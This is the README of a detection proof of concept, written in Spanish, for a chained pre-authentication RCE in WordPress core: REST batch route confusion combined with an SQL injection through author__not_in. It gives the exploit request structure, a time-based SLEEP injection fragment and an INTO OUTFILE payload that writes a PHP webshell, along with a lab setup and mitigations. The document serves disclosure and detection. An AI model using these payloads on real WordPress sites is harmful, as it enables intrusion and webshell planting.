
Pre-auth RCE en WordPress Core a través de confusión de rutas batch de REST API + SQLi en WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de detección.
Pre-autenticación, sin autenticación, no se requieren plugins. Funciona contra una instalación estándar de WordPress a través del endpoint batch de la API REST.
| CVE | CVE-2026-63030 (confusión de rutas → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Descubridor | Adam Kues — Assetnote / Searchlight Cyber (denominado "wp2shell") |
| Afectado | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (cadena RCE completa) · 6.8.0 – 6.8.5 (solo SQLi) |
| Parcheado | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Crítico (cadena RCE) / Moderado (SQLi independiente) |
| Blog del investigador | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
Dos errores en el núcleo de WordPress, encadenables para lograr ejecución remota de código sin autenticación:
WP_Query cuando author__not_in es una cadena en lugar de un array — se omite la comprobación de saneamiento is_array() y el valor en bruto se interpola directamente en una cláusula NOT IN (...).WP_REST_Server::serve_batch_request_v1() — las sub-solicitudes WP_Error se insertan en $validation[] pero no en $matches[], provocando un desplazamiento de índice de +1. La sub-solicitud i termina siendo despachada con el manejador de la sub-solicitud i+1.Ningún error por sí solo es suficiente: la API REST sanitiza author_exclude (type: array, items: integer) antes de que llegue a WP_Query, y el endpoint batch rechaza sub-solicitudes GET (enum: POST, PUT, PATCH, DELETE). Encadenándolos a través de una doble confusión se saltan ambas defensas y se alcanza la SQLi sin autenticación.
src/wp-includes/class-wp-query.php (CVE-2026-60137)Vulnerable (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // cadena → omitido
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
Cuando author__not_in es una cadena, la rama is_array() se omite; (array) "payload" se evalúa como ["payload"]; implode(',', ...) devuelve la cadena en bruto, que se interpola directamente en la consulta SQL.
Corrección (6.9.5): usar wp_parse_id_list() que acepta cualquier forma de entrada y devuelve una lista de enteros sanitizada.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Bucle de validación
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NO se añade
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Bucle de despacho — indexa $matches[$i] con el $i ORIGINAL
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← desviado en uno tras un WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
Una sola sub-solicitud WP_Error (por ejemplo, ruta mal formada) en la posición 0 desplaza cada entrada subsiguiente en uno. La solicitud i se despacha entonces con el manejador de la solicitud i+1.
Corrección (6.9.5): también se añade $matches[] = $single_request; para el caso de error. Endurecimiento adicional: se interrumpe rest_api_loaded() / serve_request() mientras ya hay un despacho en curso.
┌──────────────────────────────────────────────────────────────────────┐
│ LOTE EXTERNO (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NO en $matches │
│ [1] path = "/wp/v2/categories" → lleva lote anidado en el body │
│ body = { "name": "x", │
│ "requests": [ LOTE_INTERNO ] } │
│ Validado contra categories → campo "requests" intacto │
│ [2] path = "/batch/v1" → manejador batch → desplaza a [1] │
│ │
│ Desplazamiento externo: request[1] despachado con el manejador de │
│ request[2] = serve_batch_request_v1. El endpoint batch NO tiene │
│ permission_callback → se ejecuta sin autenticación. El body de │
│ request[1] fue validado contra la ruta *categories*, por lo que │
│ las sub-solicitudes anidadas NUNCA se verificaron contra el enum │
│ de métodos batch → las sub-solicitudes internas pueden usar GET. │
├──────────────────────────────────────────────────────────────────────┤
│ LOTE INTERNO (procesado dentro de serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NO en $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validado contra categories → author_exclude NO sanitizado │
│ [2] GET /wp/v2/posts → manejador get_items → desplaza a [1]│
│ │
│ Desplazamiento interno: inner[1] despachado con el manejador de │
│ inner[2] = WP_REST_Posts_Controller::get_items. La cadena no │
│ sanitizada author_exclude se mapea a author__not_in y se pasa a │
│ WP_Query → INYECCIÓN SQL. │
└──────────────────────────────────────────────────────────────────────┘
El fragmento SQL resultante es:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) se ejecuta una vez por cada fila de post que coincida, por lo que el retardo total es aproximadamente N × <número_de_posts_publicados> segundos.
La inyección solo SELECT (sin consultas apiladas, $wpdb usa mysqli_query) aún produce RCE en pilas LAMP típicas cuando el usuario de MySQL tiene privilegio FILE, lo cual es predeterminado en muchos hostings compartidos y servidores autogestionados:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
escribe una webshell PHP en la raíz web, accesible en /x.php.
Vías alternativas (sin necesidad de privilegio FILE) incluyen leer el hash de la contraseña de administrador mediante SQLi UNION/booleana ciega y subir un plugin malicioso a través de la interfaz de administración autenticada.
uso: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
El PoC realiza dos pruebas no destructivas:
| Prueba | Método | ¿Seguro? |
|---|
# uso básico
python3 poc_wp_batch_sqli.py -t http://target/
# SLEEP más corto para triaje más rápido
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# prueba estructural de confusión de rutas solamente (sin SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / sin color
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
Ejemplo de salida contra una instancia vulnerable 6.9.4:
[+] CONFIRMADO — la solicitud interna[1] (categories) devolvió datos de POSTS.
Doble confusión activa: el nivel externo evita el enum de métodos batch,
el nivel interno despacha parámetros de categories con el manejador de posts.
[*] Detección de SQLi ciega basada en tiempo (SLEEP=3s)
línea base: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — respuesta retardada en 9.0s (≈ 3 fila(s) de post × SLEEP(3)).
Sin retardo / sin confusión estructural ⇒ parcheado (6.8.6 / 6.9.5 / 7.0.2).
requests (pip install requests)La forma más sencilla de reproducir es con las imágenes oficiales de Docker (el actualizador automático habrá parcheado la mayoría de instancias en vivo horas después de la divulgación):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# ejecutar el instalador (o usar wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
Para el paso INTO OUTFILE → RCE, conceda el privilegio FILE y asegúrese de que el proceso de la BD pueda escribir en la raíz web (LAMP de un solo servidor, o un volumen compartido en Docker):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE), por lo que la mayoría de los sitios en vivo ya están parcheados.POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE del usuario de BD de WordPress:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv esté establecido (no vacío):
secure_file_priv = /var/lib/mysql-files
| Fecha | Evento |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 publicados |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf publicados |
| 2026-07-17 | Assetnote / Searchlight Cyber publica el aviso "wp2shell" + comprobador en https://wp2shell.com |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpEste repositorio contiene solo un PoC de detección — utiliza SQLi ciega basada en tiempo e inspección estructural de respuestas. No extrae datos, escribe archivos ni intenta RCE. La vulnerabilidad ya estaba parcheada y divulgada públicamente por WordPress y el investigador original antes de que se publicara este código.
Úselo solo contra sistemas que posea o esté autorizado a probar.
MIT — ver LICENSE.
| Confusión de rutas (CVE-2026-63030) | Estructural — verifica que la solicitud interna[1] (categories) se despacha con el manejador de posts comprobando si el cuerpo de la respuesta contiene campos solo de posts | Sí |
| SQLi (CVE-2026-60137) | Ciega basada en tiempo — inyecta SLEEP(N) vía author_exclude y mide la latencia frente a una línea base benigna | Sí |